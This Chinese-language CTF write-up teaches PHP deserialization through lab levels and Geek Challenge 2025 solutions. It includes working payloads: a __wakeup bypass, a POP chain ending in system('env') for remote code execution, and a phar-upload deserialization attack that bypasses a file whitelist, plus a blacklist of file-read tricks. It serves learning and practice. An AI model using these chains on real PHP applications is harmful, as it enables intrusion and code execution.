PHP反序列化

在 PHP 中,序列化 (Serialization)是将对象的状态信息转化为可存储或传输的形式(通常是字符串)的过程。而反序列化 (Deserialization)则是将序列化后的字符串重新转换回对象的过程。反序列化漏洞的本质是程序在对用户提供的序列化数据进行反序列化时,没有进行充分的验证和过滤,导致攻击者可以控制反序列化过程,进而执行恶意代码或进行其他恶意操作


魔术方法

魔术方法 调用时机 传递参数 返回值
__construct() 对象创建时 根据实际定义 无要求
__destruct() 对象被销毁时 不可设置
__call() 调用一个不存在或不可访问的方法时 $method、$arguments 自由定义
__callStatic() 调用一个不存在或不可访问的静态方法时 $method、$arguments 自由定义
__get() 访问一个对象不存在或不可访问的属性时 $name 自由定义
__set() 设置一个对象不存在或不可设置的属性时 $name、$values 通常无
__isset() 检查一个对象不存在或不可访问的属性时 $name 布尔值
__unset() unset()函数尝试删除对象不存在或不可访问的属性时 $name
__sleep() 在对象被序列化前 需要被序列化的属性名的数组
__wakeup() 反序列化之后
__toString() 对象被隐式地转化为字符串时 不接受 字符串
__invoke() 被作为函数调用时 任意 任何
__set_state() eval()函数将对象字符串转化为原始对象后 $data 对象的实例
__clone() 使用clone关键字对一个对象进行克隆时 不需要
__autoload() 尝试使用一个未定义的类时 $name 不需要
__debugInfo() 可以控制对象在使用var_dump()函数或调试时打印的信息 数组,包含在调试输出中显示的属性及其值


特性

神奇的小特性,一般用于绕过某些检查或限制

当成员属性的实际数量符合序列化字符串中对应属性值时,不会进行任何检查

[PHPSerializelabs]Level 17: 字符串逃逸基础-无中生有

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 17 : 字符串逃逸基础 ---

序列化和反序列化的规则特性_无中生有:当成员属性的实际数量符合序列化字符串中对应属性值时,似乎不会做任何检查?

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

class A {

}
echo "Class A is NULL: '".serialize(new A())."'<br>";

class B {
public $a = "Hello";
protected $b = "CTF";
private $c = "FLAG{TEST}";
}
echo "Class B is a class with 3 properties: '".serialize(new B())."'<br>";

$serliseString = serialize(new B());

$serliseString = str_replace('B', 'A', $serliseString);

echo "After replace B with A,we unserialize it and dump :<br>";
var_dump(unserialize($serliseString));

if(isset($_POST['o'])) {
$a = unserialize($_POST['o']);
if ($a instanceof A && $a->helloctfcmd == "get_flag") {
include 'flag.php';
echo $flag;
} else {
echo "what's rule?";
}
} else {
highlight_file(__FILE__);
}
Class A is NULL: 'O:1:"A":0:{}'
Class B is a class with 3 properties: 'O:1:"B":3:{s:1:"a";s:5:"Hello";s:4:"*b";s:3:"CTF";s:4:"Bc";s:10:"FLAG{TEST}";}'
After replace B with A,we unserialize it and dump :
object(A)#1 (3) { ["a"]=> string(5) "Hello" ["b":protected]=> string(3) "CTF" ["c":"A":private]=> string(10) "FLAG{TEST}" }

更改B的属性后将名称替换为A即可

class B {
public $a = "Hello";
protected $b = "CTF";
private $c = "FLAG{TEST}";
public $helloctfcmd="get_flag";
}
echo serialize(new B());

得到O:1:"B":4:{s:1:"a";s:5:"Hello";s:4:" * b";s:3:"CTF";s:4:" B c";s:10:"FLAG{TEST}";s:11:"helloctfcmd";s:8:"get_flag";}

修改传递o=O:1:"A":4:{s:1:"a";s:5:"Hello";s:4:" * b";s:3:"CTF";s:4:" B c";s:10:"FLAG{TEST}";s:11:"helloctfcmd";s:8:"get_flag";}即可


字符串尾部判定:进行反序列化时,当成员属性的数量,名称长度,内容长度均一致时,程序会以 “;}” 作为字符串的结尾判定

[PHPSerializelabs]Level 18: 字符串逃逸基础-尾部判定

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 18 : 字符串逃逸基础 ---

序列化和反序列化的规则特性,字符串尾部判定:进行反序列化时,当成员属性的数量,名称长度,内容长度均一致时,程序会以 ";}" 作为字符串的结尾判定。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

highlight_file(__FILE__);

class Demo {
public $a = "Hello";
public $b = "CTF";
public $key = 'GET_FLAG";}FAKE_FLAG';
}

class FLAG {

}

$serliseStringDemo = serialize(new Demo());

$target = $_GET['target'];
$change = $_GET['change'];

$serliseStringFLAG = str_replace($target, $change, $serliseStringDemo);

$FLAG = unserialize($serliseStringFLAG);

if ($FLAG instanceof FLAG && $FLAG->key == 'GET_FLAG') {
echo $flag;
}
SerliseStringDemo:'O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}'
Change SOMETHING TO GET FLAGYour serliaze string is O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}
And Here is object(Demo)#1 (3) { ["a"]=> string(5) "Hello" ["b"]=> string(3) "CTF" ["key"]=> string(20) "GET_FLAG";}FAKE_FLAG" }

利用这个特性进行截断,只需要把对象名"Demo"替换为"FLAG",字符数20替换为8即可

传递target=O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}

&change=O:4:"FLAG":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:8:"GET_FLAG";}

获得flag


当序列化字符串中对象属性的值大于真实属性值时便会跳过__wakeup的执行

[PHPSerializelabs]Level 11: __wakeup() CVE-2016-7124

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 11 : Bypass weakup! ---

CVE-2016-7124 - PHP5 < 5.6.25 / PHP7 < 7.0.10
在该漏洞中,当序列化字符串中对象属性的值大于真实属性值时便会跳过__wakeup的执行。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

error_reporting(0);

include 'flag.php';

class FLAG {
public $flag = "FAKEFLAG";

public function __wakeup(){
global $flag;
$flag = NULL;
}
public function __destruct(){
global $flag;
if ($flag !== NULL) {
echo $flag;
}else
{
echo "sorry,flag is gone!";
}
}
}

if(isset($_POST['o']))
{
unserialize($_POST['o']);
}else {
highlight_file(__FILE__);
phpinfo();
}

需要掠过__wakeup()方法的调用,结合hint,对象属性的值大于真实属性值时便会跳过wakeup的执行,先构造序列化

<?php
class FLAG {
public $flag = "FAKEFLAG";

public function __wakeup(){
global $flag;
$flag = NULL;
}
public function __destruct(){
global $flag;
if ($flag !== NULL) {
echo $flag;
}else
{
echo "sorry,flag is gone!";
}
}
}
$flag = new FLAG();
echo serialize($flag);

得出的序列化字符串:O:4:"FLAG":1:{s:4:"flag";s:8:"FAKEFLAG";}

修改属性数值得到新字符串O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";}传递即可


GC机制

[PHPSerializelabs]Level 8: 构造函数和析构函数以及GC机制

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 8 : 构造函数和析构函数 ---

HINT:注意顺序和次数

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

global $destruct_flag;
global $construct_flag;
$destruct_flag = 0;
$construct_flag = 0;

class FLAG {
public $class_name;
public function __construct($class_name)
{
$this->class_name = $class_name;
global $construct_flag;
$construct_flag++;
echo "Constructor called " . $construct_flag . "<br>";
}
public function __destruct()
{
global $destruct_flag;
$destruct_flag++;
echo "Destructor called " . $destruct_flag . "<br>";
}
}

/*Object created*/
$demo = new FLAG('demo');

/*Object serialized*/
$s = serialize($demo);

/*Object unserialized*/
$n = unserialize($s);

/*unserialized object destroyed*/
unset($n);

/*original object destroyed*/
unset($demo);

/*注意 此处为了方便演示为手动释放,一般情况下,当脚本运行完毕后,php会将未显式销毁的对象自动销毁,该行为也会调用析构函数*/

/*此外 还有比较特殊的情况: PHP的GC(垃圾回收机制)会在脚本运行时自动管理内存,销毁不被引用的对象:*/
new FLAG();
Object created:Constructor called 1
Object serialized: But Nothing Happen(:
Object unserialized:But nothing happened either):
serialized Object destroyed:Destructor called 1
original Object destroyed:Destructor called 2

This object ('new FLAG();') will be destroyed immediately because it is not assigned to any variable:Constructor called 2
Destructor called 3

Now Your Turn!, Try to get the flag!
<?php

class RELFLAG {

public function __construct()
{
global $flag;
$flag = 0;
$flag++;
echo "Constructor called " . $flag . "<br>";
}
public function __destruct()
{
global $flag;
$flag++;
echo "Destructor called " . $flag . "<br>";
}
}

function check(){
global $flag;
if($flag > 5){
echo "HelloCTF{???}";
}else{
echo "Check Detected flag is ". $flag;
}
}

if (isset($_POST['code'])) {
eval($_POST['code']);
check();
}

code=unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));

利用嵌套序列化/反序列化触发GC机制,serialize()unserialize()这里重复调用产生了多个对象(析构),但是并没有调用__construct()__destruct()方法,使$flag数值增加的原因是GC机制


[极客大挑战2025]popself

有同学跟我说他只会做一个类的php反序列化题,那来试试看

<?php
show_source(__FILE__);

error_reporting(0);
class All_in_one
{
public $KiraKiraAyu;
public $_4ak5ra;
public $K4per;
public $Samsāra;
public $komiko;
public $Fox;
public $Eureka;
public $QYQS;
public $sleep3r;
public $ivory;
public $L;

public function __set($name, $value){
echo "他还是没有忘记那个".$value."<br>"; //此处不是__toString的触发点,这里$value不是对象是字符串
echo "收集夏日的碎片吧<br>";

$fox = $this->Fox;

if ( !($fox instanceof All_in_one) && $fox()==="summer"){ //绕过点
echo "QYQS enjoy summer<br>";
echo "开启循环吧<br>";
$komiko = $this->komiko;
$komiko->Eureka($this->L, $this->sleep3r); //Eureka为不存在的方法,触发__call
}
}

public function __invoke(){
echo "恭喜成功signin!<br>";
echo "welcome to Geek_Challenge2025!<br>";
$f = $this->Samsāra;
$arg = $this->ivory;
$f($arg); //利用点
}
public function __destruct(){

echo "你能让K4per和KiraKiraAyu组成一队吗<br>";

if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){
die("boys和而不同<br>");
}

if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){ //绕过点
echo "BOY♂ sign GEEK<br>";
echo "开启循环吧<br>";
$this->QYQS->partner = "summer"; //partner为不存在的属性,触发__set
}
else {
echo "BOY♂ can`t sign GEEK<br>";
echo md5(md5($this->KiraKiraAyu))."<br>";
echo md5($this->K4per)."<br>";
}
}
else{
die("boys堂堂正正");
}
}

public function __tostring(){
echo "再走一步...<br>";
$a = $this->_4ak5ra;
$a(); //触发__invoke
}

public function __call($method, $args){
if (strlen($args[0])<4 && ($args[0]+1)>10000){ //绕过点
echo "再走一步<br>";
echo $args[1]; //触发__toString
}
else{
echo "你要努力进窄门<br>";
}
}
}

class summer {
public static function find_myself(){
return "summer";
}
}
$payload = $_GET["24_SYC.zip"];

if (isset($payload)) {
unserialize($payload);
} else {
echo "没有大家的压缩包的话,瓦达西!<br>";
}

主要是php特性和序列化,最终要实现触发__invoke()实现RCE,逆推可以得到利用链__invoke()<-__toString()<-__call()<-__set()<-__destruct()

第一步是绕过md5检查,弱类型绕过的要求是0e后面为纯数字,当时查阅很多博客把字母参杂的也算了,但是不论放靶机还是本地都是过不了的,幸亏@eEr0r233前辈爆破出来了几个能用的,然后就是让QYQS触发__set()了,第一阶段的payload是

$a=new All_in_one();
$a->KiraKiraAyu='aawBzC';
$a->K4per='s878926199a';
$a->QYQS=new All_in_one();

双层md5加密后仍为0e加纯数字类型的值

aawBzC
aabsbm9
aaaabGG5T
aaaabKGVH

第二层的绕过点是$fox不是类All_in_one的一个实例,且当它被当函数调用时的返回值强等于"summer",那只需要让$foxsummer类的实例就好了,至于如何让它返回"summer",这里要用到静态调用来直接通过类名调用其静态方法

$a->QYQS->Fox=['summer', 'find_myself'];

第三层绕过点是$args的第1个元素字符长度小于4且该元素加一运算后大于10000,这里用科学计数法即可,__call()的返回值是一个数组,这里$args[0]就是$this->L$args[0]就是$this->sleep3r

$a->QYQS->komiko=new All_in_one();
$a->QYQS->L='1e7';
$a->QYQS->sleep3r=new All_in_one();

下一步就是触发__invoke()

$a->QYQS->sleep3r->_4ak5ra=new All_in_one();

成功进入最后一层,这里我们试试用env能不能在环境变量里面找到flag,注意传递的参数名24_SYC.zip含有特殊字符,php会进行修改,这里要改成24[SYC.zip

$a->QYQS->sleep3r->_4ak5ra->Samsāra='system';
$a->QYQS->sleep3r->_4ak5ra->ivory='env';

把上面的步骤组合,序列化传入,可以看到是有的

SYC{Round_And_r0und_019ab5d56b5f7445ac23a67b8736490e}


Phar

有时候题目并没有unserialize()接口让payloiad进行反序列化,如果此时可以上传phar文件,搭配phar://伪协议可以帮助进行反序列化操作

phar文件

phar归档文件最有特色的特点是可以方便地将多个文件分组为一个文件。这样,phar归档文件提供了一种将完整的PHP应用程序分发到单个文件中并从该文件运行它的方法,而无需将其提取到磁盘中

phar主要由4部分组成

stub :phar文件标识

格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件

a manifest describing the contents

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方

the file contents

被压缩文件的内容

[optional] a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾


构建phar文件

创建phar文件时要确保配置允许,在php.ini文件中将phar.readonly设置为Off,可以用以下代码创建一个phar文件

$phar = new Phar("phar.phar"); //创建.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //设置stub
$phar->setMetadata($B);//可以将序列化的内容写入meta-data
$phar->addFromString("function.txt", "test");//添加要压缩的文件,内容为"test"
$phar->stopBuffering();

[极客大挑战2025]ez-seralize

简单的读文件?

dirsearch后可以看到uploads.php目录,进入是文件上传页,提示仅支持上传txt, log, jpg, jpeg, png, zip文件,回到主页面,可以直接输入uploads.phpindex.php获取源码

<?php
//uploads.php
$uploadDir = __DIR__ . '/uploads/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
$whitelist = ['txt', 'log', 'jpg', 'jpeg', 'png', 'zip','gif','gz'];
$allowedMimes = [
'txt' => ['text/plain'],
'log' => ['text/plain'],
'jpg' => ['image/jpeg'],
'jpeg' => ['image/jpeg'],
'png' => ['image/png'],
'zip' => ['application/zip', 'application/x-zip-compressed', 'multipart/x-zip'],
'gif' => ['image/gif'],
'gz' => ['application/gzip', 'application/x-gzip']
];

$resultMessage = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];

if ($file['error'] === UPLOAD_ERR_OK) {
$originalName = $file['name'];
$ext = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
if (!in_array($ext, $whitelist, true)) {
die('File extension not allowed.');
}

$mime = $file['type'];
if (!isset($allowedMimes[$ext]) || !in_array($mime, $allowedMimes[$ext], true)) {
die('MIME type mismatch or not allowed. Detected: ' . htmlspecialchars($mime));
}

$safeBaseName = preg_replace('/[^A-Za-z0-9_\-\.]/', '_', basename($originalName));
$safeBaseName = ltrim($safeBaseName, '.');
$targetFilename = time() . '_' . $safeBaseName;

file_put_contents('/tmp/log.txt', "upload file success: $targetFilename, MIME: $mime\n");

$targetPath = $uploadDir . $targetFilename;
if (move_uploaded_file($file['tmp_name'], $targetPath)) {
@chmod($targetPath, 0644);
$resultMessage = '<div class="success"> File uploaded successfully '. '</div>';
} else {
$resultMessage = '<div class="error"> Failed to move uploaded file.</div>';
}
} else {
$resultMessage = '<div class="error"> Upload error: ' . $file['error'] . '</div>';
}
}
?>

发现确实是白名单机制,会对后缀名和文件类型进行匹配,并且会对上传的文件进行重命名,并将上传记录写入/tmp/log.txt

<?php
//index.php
ini_set('display_errors', '0');
$filename = isset($_GET['filename']) ? $_GET['filename'] : null;

$content = null;
$error = null;

if (isset($filename) && $filename !== '') {
$balcklist = ["../","%2e","..","data://","\n","input","%0a","%","\r","%0d","php://","/etc/passwd","/proc/self/environ","php:file","filter"];
foreach ($balcklist as $v) {
if (strpos($filename, $v) !== false) {
$error = "no no no";
break;
}
}

if ($error === null) {
if (isset($_GET['serialized'])) {
require 'function.php';
$file_contents= file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
} else {
$file_contents = file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
}
}
} else {
$error = null;
}
?>

读取的页面也有黑名单,主要是屏蔽了一些php伪协议,在这里还可以看到一个function.php文件,也可以直接查询源码

<?php
//function.php
class A {
public $file;
public $luo;

public function __construct() {
}

public function __toString() {
$function = $this->luo;
return $function();
}
}

class B {
public $a;
public $test;

public function __construct() {
}

public function __wakeup()
{-
echo($this->test);
}

public function __invoke() {
$this->a->rce_me();
}
}

class C {
public $b;

public function __construct($b = null) {
$this->b = $b;
}

public function rce_me() {
echo "Success!\n";
system("cat /flag/flag.txt > /tmp/flag");
}
}

这是一个反序列化漏洞,利用链的逻辑是__wakeup()->__toString->__invoke()->rce_me(),可以很简单构造出payload

//rce_me()<-__invoke()<-__toString()<-__wakeup()
$B=new B();
$B->test=new A();
$B->test->luo=new B;
$B->test->luo->a=new C();

但是没有unserialize()进行反序列化操作,payload的用处就无从谈起,结合文件上传和无unserialize()的题目环境,这里应该是利用phar伪协议来进行反序列化操作,而且index.php没有过滤phar伪协议也印证了这一点,将我们的链打包成phar压缩包

$phar = new Phar("phar.phar"); //创建.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //固定的
$phar->setMetadata($B);
$phar->addFromString("function.txt", "test");//压缩文件随便放
$phar->stopBuffering();

利用文件上传的接口进行上传,这里要简单截包修改文件名和文件类型绕过白名单,这里文件名改成phar.zip,文件类型相应修改application/zip

文件上传后会被重命名,不能直接依靠phar.zip访问,注意到uploads.php每次上传完成都会将修改后的文件名写入log.txt,尝试利用index.php获取log.txt的信息,确实可以看到上传后的文件名称

upload file success: 1763128085_phar.zip, MIME: application/zip

尝试使用phar伪协议访问,我们为了反序列化还需要index.php包含function.php,这里需要额外带一个serialized参数

传参?filename=phar://./uploads/1763128085_phar.zip/function.txt&serialized=1

页面回显Success!,说明此时function.php里的system("cat /flag/flag.txt > /tmp/flag");也同时执行了,回到题目首页查找文件/tmp/flag,即可获得flag

SYC{019a8289d2ce7e2facdfdcb68ea73edb}